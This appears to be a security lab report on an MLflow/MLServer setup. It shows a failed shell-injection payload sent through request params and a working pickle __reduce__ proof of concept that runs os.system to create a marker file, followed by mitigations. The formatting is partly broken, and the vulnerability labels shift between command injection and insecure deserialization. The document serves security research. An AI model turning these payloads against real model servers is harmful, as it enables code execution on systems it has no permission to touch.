Research environment and validation scripts for evaluating deserialization behaviors in MLflow and MLServer.
Below is a structured, markdown-formatted vulnerability research report tailored for a GitHub repository layout (such as a README.md or a security-labs write-up). It outlines the context, architecture, reproduction steps, and remediation strategies based on your lab findings.
A comprehensive security research report detailing the verification, underlying mechanics, and architectural vulnerabilities associated with untrusted model loading pipelines within mlflow==2.11.1 and mlserver==1.3.5.
| Metric | Details |
|---|
| Vulnerability ID | CVE-2026-0596 / GHSA-rvhj-8chj-8v3c |
| Common Weakness Enumeration | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |
| CVSS v3.1 Base Score | 9.6 CRITICAL (CNA: huntr.dev) / 7.8 HIGH (NVD) |
| Impact Vector | Network Adjacent, Low Complexity, Zero Privileges Required, Zero User Interaction |
| Affected Ecosystem | mlflow/mlflow (All legacy architectures serving via enable_mlserver=True) |
MLflow features an integration with Seldon's MLServer to handle high-performance, enterprise-grade model serving. When spinning up a model server via the command-line interface or tracking server API, developers utilize the configuration parameter flag:
enable_mlserver = True
## 📋 Executive Summary
This laboratory environment evaluates the runtime behavior of machine learning model-serving frameworks when parsing user-supplied input parameters and artifact metadata. While the API-facing parameter parsing boundaries of MLServer cleanly isolate raw string literals (preventing traditional operating system command injection via shell metacharacters), the underlying python runtime remains structurally vulnerable to **Insecure Deserialization** when ingesting legacy serialized object streams (`.pkl` / `pickle`).
* **Vulnerability Type:** Insecure Deserialization (CWE-502) / Arbitrary Code Execution
* **Impact:** Critical (Remote Code Execution within Container Context)
* **Affected Components:** Model ingestion, artifact download sub-systems, and `pickle`-based prediction backends.
---
## 🛠️ Lab Architecture & Setup
The reproduction environment is containerized using Docker to isolate the operating system layer and simulate a production-grade machine learning model endpoint.
### 1. Docker Environment Configuration (`Dockerfile`)
```dockerfile
FROM python:3.10-slim
WORKDIR /app
# Install native system binaries
RUN apt-get update && apt-get install -y \
curl \
build-essential \
&& rm -rf /var/lib/apt/lists/*
# Pin specific framework versions for target tracking
RUN pip install --no-cache-dir \
mlflow==2.11.1 \
mlserver==1.3.5 \
mlserver-mlflow==1.3.5
# Generate localized model configuration footprint
COPY generate_model.py /app/generate_model.py
RUN python /app/generate_model.py
EXPOSE 5000
generate_model.py)import mlflow
import mlflow.pyfunc
import os
class DummyModel(mlflow.pyfunc.PythonModel):
def predict(self, context, model_input):
return model_input
if __name__ == "__main__":
model_path = "/app/saved_model"
if not os.path.exists(model_path):
mlflow.pyfunc.save_model(path=model_path, python_model=DummyModel())
Initial testing attempted to pass shell termination payload sequences (; touch /tmp/poc_success_marker.txt #) through the params payload array of the /invocations REST endpoint:
{
"dataframe_split": {
"columns": ["machine_input"],
"data": [["test_data"]]
},
"params": {
"custom_runtime_param": "default_runtime; touch /tmp/poc_success_marker.txt #"
}
}
Result: Negative. The framework treated the payload safely as an absolute, non-evaluated string literal. This confirms that the engine abstracts input variables directly into Python memory spaces rather than dynamically synthesizing system shell arguments via a raw command wrapper.
Because MLflow and MLServer ingest compiled Python objects, the core risk shifts from string evaluation to object graph reconstruction. Using a custom validation script, an execution trigger was embedded directly into a simulated model stream using Python’s native magic optimization method (__reduce__).
trigger_native.py)import os
import pickle
class ExploitModel:
def __reduce__(self):
# The __reduce__ method defines object reconstruction behaviors.
# Returning os.system forces immediate runtime command execution during loading.
return (os.system, ("touch /tmp/native_success_marker.txt",))
if __name__ == "__main__":
payload_path = "vulnerable_model.pkl"
# Serialize the code execution payload into a pseudo-model file
with open(payload_path, "wb") as f:
pickle.dump(ExploitModel(), f)
# Simulate an application or model server unpickling the artifact
with open(payload_path, "rb") as f:
pickle.load(f)
The script was injected into the container sandbox environment to mimic the backend loading sequence:
# Stage execution payload inside the sandbox
docker cp trigger_native.py mlflow_sandbox:/app/trigger_native.py
# Execute the deserialization routine
docker exec -it mlflow_sandbox python /app/trigger_native.py
Querying the isolated temporary directory of the container confirmed arbitrary code execution occurred instantly during the object allocation loop:
PS C:\Users\Sparsh Biswas\mlflow-security-lab> docker exec -it mlflow_sandbox ls -la /tmp/
total 8
drwxrwxrwt 1 root root 4096 May 18 10:31 .
drwxr-xr-x 1 root root 4096 May 18 10:31 ..
-rw-r--r-- 1 root root 0 May 18 10:31 native_success_marker.txt
The issue stems from implicit trust in the model artifact storage layer. Standard Python .pkl / pickle files do not merely act as flat configuration records; they contain sequential bytecode instructions meant to reconstruct nested object properties.
When pickle.load() parses the dataset, it prioritizes the instruction stream given by the __reduce__ hook. This redirects the target application to call native system binaries (os.system) directly in the shell environment before data type validation or machine learning inference calculations are ever initialized.
Deprecate the use of legacy serialization layers (pickle, joblib, marshal) across all training and deployment pipelines. Replace them with structural, data-only constraints:
If your pipeline strictly requires legacy model configurations:
USER 10001).cap_drop: [ALL]) and isolate the pod from networks containing sensitive metadata endpoints.